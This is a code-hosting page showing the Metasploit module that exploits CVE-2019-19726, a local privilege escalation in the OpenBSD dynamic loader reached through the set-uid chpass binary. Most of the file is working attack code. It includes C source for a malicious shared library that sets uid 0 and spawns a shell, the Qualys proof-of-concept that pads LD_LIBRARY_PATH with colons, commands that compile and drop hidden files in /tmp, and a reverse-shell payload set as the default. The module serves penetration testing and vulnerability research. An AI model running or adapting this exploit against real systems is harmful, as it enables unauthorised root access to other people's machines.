Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in the OpenBSD `ld.so`21dynamic loader (CVE-2019-19726).2223The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`24environment variable when set with approximately `ARG_MAX` colons.2526This can be abused to load `libutil.so` from an untrusted path,27using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid28executable, resulting in privileged code execution.2930This module has been tested successfully on:3132OpenBSD 6.1 (amd64); and33OpenBSD 6.6 (amd64)34},35'License' => MSF_LICENSE,36'Author' => [37'Qualys', # Discovery and exploit38'bcoles' # Metasploit39],40'DisclosureDate' => '2019-12-11',41'Platform' => %w[bsd unix], # OpenBSD42'Arch' => [ARCH_CMD],43'SessionTypes' => ['shell'],44'References' => [45['CVE', '2019-19726'],46['EDB', '47780'],47['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],48['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],49['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],50['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],51['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']52],53'Targets' => [['Automatic', {}]],54'DefaultOptions' => {55'PAYLOAD' => 'cmd/unix/reverse',56'WfsDelay' => 1057},58'DefaultTarget' => 0,59'Notes' => {60'Stability' => [CRASH_SAFE],61'Reliability' => [REPEATABLE_SESSION],62'SideEffects' => [ARTIFACTS_ON_DISK]63}64)65)66register_options([67OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])68])69register_advanced_options([70OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])71])72end7374def base_dir75datastore['WritableDir'].to_s76end7778def chpass_path79datastore['CHPASS_PATH']80end8182def upload(path, data)83print_status("Writing '#{path}' (#{data.size} bytes) ...")84rm_f(path)85write_file(path, data)86register_file_for_cleanup(path)87end8889def libutil_name90return unless command_exists?('readelf')9192cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d.]+)\]/).flatten.first93end9495def check96patches = cmd_exec('syspatch -l').to_s97patch = '013_ldso'9899return CheckCode::Safe("Patch #{patch} has been installed. Target is not vulnerable.") if patches.include?(patch)100101return CheckCode::Safe("Patch #{patch} is not present, but cc compiler is not installed.") unless command_exists?('cc')102103vprint_good('cc is installed')104105CheckCode::Detected("Patch #{patch} is not present")106end107108def exploit109if !datastore['ForceExploit'] && is_root?110fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'111end112113unless writable?(base_dir)114fail_with Failure::BadConfig, "#{base_dir} is not writable"115end116117# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9118lib_data = <<~EOF119#include <paths.h>120#include <unistd.h>121122static void __attribute__ ((constructor)) _init (void) {123if (setuid(0) != 0) _exit(__LINE__);124if (setgid(0) != 0) _exit(__LINE__);125char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };126execve(argv[0], argv, NULL);127_exit(__LINE__);128}129EOF130131libs = []132lib = libutil_name133if lib134libs << lib135print_good("Found libutil.so name: #{lib}")136else137libs << 'libutil.so.12.1'138libs << 'libutil.so.13.1'139print_warning("Could not determine libutil.so name. Using: #{libs.join(', ')}")140end141142lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"143upload lib_src_path, lib_data144libs.each do |lib_name|145lib_path = "#{base_dir}/#{lib_name}"146print_status("Compiling #{lib_path} ...")147output = cmd_exec("cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall")148register_file_for_cleanup(lib_path)149150unless output.blank?151print_error(output)152fail_with(Failure::Unknown, "#{lib_path}.c failed to compile")153end154end155156# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9157exploit_data = <<~EOF158#include <string.h>159#include <sys/param.h>160#include <sys/resource.h>161#include <unistd.h>162163int164main(int argc, char * const * argv)165{166#define LLP "LD_LIBRARY_PATH=."167static char llp[ARG_MAX - 128];168memset(llp, ':', sizeof(llp)-1);169memcpy(llp, LLP, sizeof(LLP)-1);170char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };171172#define DATA (ARG_MAX * sizeof(char *))173const struct rlimit data = { DATA, DATA };174if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);175176if (argc <= 1) _exit(__LINE__);177argv += 1;178execve(argv[0], argv, envp);179_exit(__LINE__);180}181EOF182183exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"184upload("#{exploit_path}.c", exploit_data)185print_status("Compiling #{exploit_path} ...")186output = cmd_exec("cc -s #{exploit_path}.c -o #{exploit_path} -Wall")187register_file_for_cleanup(exploit_path)188189unless output.blank?190print_error(output)191fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")192end193194payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"195upload(payload_path, "#!/bin/sh\n#{payload.encoded}\n")196chmod(payload_path)197198print_status('Launching exploit...')199output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")200output.each_line { |line| vprint_status line.chomp }201end202end203204205